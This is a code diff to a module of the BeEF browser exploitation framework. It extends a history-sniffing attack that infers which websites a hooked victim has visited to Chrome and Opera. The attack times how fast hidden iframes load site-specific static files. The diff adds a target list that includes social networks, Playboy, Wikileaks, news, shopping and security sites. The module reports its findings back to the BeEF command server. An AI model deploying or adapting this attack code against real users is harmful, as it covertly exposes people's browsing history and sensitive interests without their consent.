diff --git a/modules/browser/get_visited_domains/command.js b/modules/browser/get_visited_domains/command.js index 9405ebbe3..29fa1500f 100644 --- a/modules/browser/get_visited_domains/command.js +++ b/modules/browser/get_visited_domains/command.js @@ -16,6 +16,8 @@ var tries = 0; var isIE = 0; var isFF = 0; +var isO = 0; +var isC = 0; /******************************* * SUB-MS TIMER IMPLEMENTATION * @@ -131,6 +133,56 @@ if (beef.browser.isIE() == 1) { var MAX_ATTEMPTS = 1; } +if (beef.browser.isC() == 1 || beef.browser.isO() == 1){ + /**************** + * SCANNED URLS * + ****************/ + var targets = [ + { 'category': 'Social networks' }, + { 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js', + 'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js', + 'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] }, + { 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] }, + + { 'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz', + 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js' ] }, + { 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] }, + { 'category': 'Content platforms' }, + { 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] }, + { 'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] }, + { 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] }, + { 'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] }, + { 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] }, + { 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] }, + { 'category': 'Online media' }, + { 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] }, + { 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css', + 'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] }, + { 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.en-us.xMviOWUyZqo.js' ] }, + { 'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111207.02' ] }, + { 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] }, + { 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] }, + { 'category': 'Commerce' }, + { 'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12', + 'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] }, + { 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] }, + { 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] }, + { 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] }, + { 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] }, + { 'category': 'Coding' }, + { 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] }, + { 'category': 'Security' }, + { 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] }, + { 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] }, + { 'category': 'Email' }, + { 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] } + ]; + /************************* + * CONFIGURABLE SETTINGS * + *************************/ + var TIME_LIMIT = 3; + var MAX_ATTEMPTS = 1; +} function sched_call(fn) { exec_next = fn; @@ -160,7 +212,9 @@ function perform_check() { if (beef.browser.isFF() == 1) { setTimeout(wait_for_read, 1); } - + if(beef.browser.isC() == 1 || beef.browser.isO() == 1){ + setTimeout(wait_for_read, 1); + } } @@ -188,6 +242,19 @@ function wait_for_read() { setTimeout(wait_for_read, 0); } } + if (beef.browser.isC() == 1 || beef.browser.isO() == 1){ + try{ + if(frames['f'].location.href != 'about:blank'){ + throw 1; + } + + frames['f'].stop(); + document.getElementById('f').src = 'javascript:""'; + setTimeout(wait_for_read2, 1); + } catch(e){ + setTimeout(wait_for_read, 1); + } + } } function wait_for_read2() { @@ -213,6 +280,9 @@ function navigate_to_target() { if (beef.browser.isIE() == 1) { setTimeout(wait_for_noread, 0); } + if (beef.browser.isC() == 1 || beef.browser.isO() == 1){ + setTimeout(wait_for_noread, 1); + } urls++; document.getElementById("f").src = current_url; } @@ -248,6 +318,17 @@ function wait_for_noread() { } sched_call(wait_for_noread); } + if (beef.browser.isC() == 1 || beef.browser.isO() == 1){ + if (frames['f'].location.href == undefined){ + confirm_visited = true; + throw 1; + } + if (cycles++ >= TIME_LIMIT) { + maybe_test_next(); + return; + } + setTimeout(wait_for_noread, 1); + } } catch (e) { confirmed_visited = true; maybe_test_next(); @@ -262,6 +343,9 @@ function maybe_test_next() { if (beef.browser.isIE() == 1) { document.getElementById("f").src = 'about:blank'; } + if (beef.browser.isC() == 1 || beef.browser.isO() == 1) { + document.getElementById('f').src = 'about:blank'; + } if (target_off < targets.length) { if (targets[target_off].category) { //log_text(targets[target_off].category + ':', 'p', 'category'); @@ -312,7 +396,7 @@ function reload(){ /* The handler for "run the test" button on the main page. Dispenses advice, resets state if necessary. */ function start_stuff() { - if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 ) { + if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 || beef.browser.isC() == 1 || beef.browser.isO() == 1) { target_off = 0; attempt = 0; confirmed_visited = false; @@ -321,7 +405,7 @@ function start_stuff() { maybe_test_next(); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=This proof-of-concept is specific to Firefox and Internet Explorer, and probably won\'t work for you.'); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=This proof-of-concept is specific to Firefox, Internet Explorer, Chrome and Opera, and probably won\'t work for you.'); } }